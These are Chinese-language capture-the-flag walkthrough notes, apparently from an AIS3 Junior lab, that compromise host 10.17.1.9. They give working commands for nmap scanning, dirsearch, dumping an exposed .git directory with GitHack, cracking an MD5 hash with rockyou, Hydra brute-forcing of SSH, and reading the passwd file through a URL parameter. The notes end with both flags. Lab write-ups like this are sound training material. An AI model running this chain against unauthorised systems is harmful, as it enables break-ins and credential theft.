
10.17.1.9

● ping 10.17.1.9

● nmap -sC -sV {ip}

→ nmap -sC -sV -Pn 10.17.1.9

● 掃描版本模式與其他資料

● Nmap done :結束



● dirsearch路徑掃描(弱點掃描)

更新→ sudo apt update

安裝dirsearch→ sudo apt install dirsearch

→ dirsearch -u http://10.17.1.9:80

→ python dirsearch.py -u http://10.17.1.9



● GitHack

轉換目錄→ cd GitHack

提取Git儲存的歷史紀錄和配置信息→python GitHack.py

http://10.17.1.9:80/backend/.git/

● information leak

→ 切換至10.17.1.9_80

輸出文件內容→ cat index.php

→ echo 'eb0a191797624dd3a48fa681d3061212' > admin.md5



● wordlists

安裝wordlists→ sudo apt install wordlists

解壓縮→ sudo gunzip rockyou.txt.gz

● hashcat

使用線上網站破解雜湊密碼 得master字串



● Hydra = hydra -l {user} -P {wordlist} -t 64 -I ssh://{ip}

爆破密碼→ hydra -l red -P /usr/share/wordlists/rockyou.txt -t 64 -I ssh://10.17.1.9

● 取得user名稱

登入 http://10.17.1.9/backend/



修改URL，host改為passwd，顯示用戶資訊

↓

● ssh登入 : ssh {user}@{ip}

登入red帳號→ ssh red@10.17.1.9



顯示root權限→ sudo -l

● Flag 1 =AIS3_Junior{YouAreBruteForcer:D:D:D:D:D}

● Flag 2 =AIS3_Junior{First_PenTestXDDDDDDD}




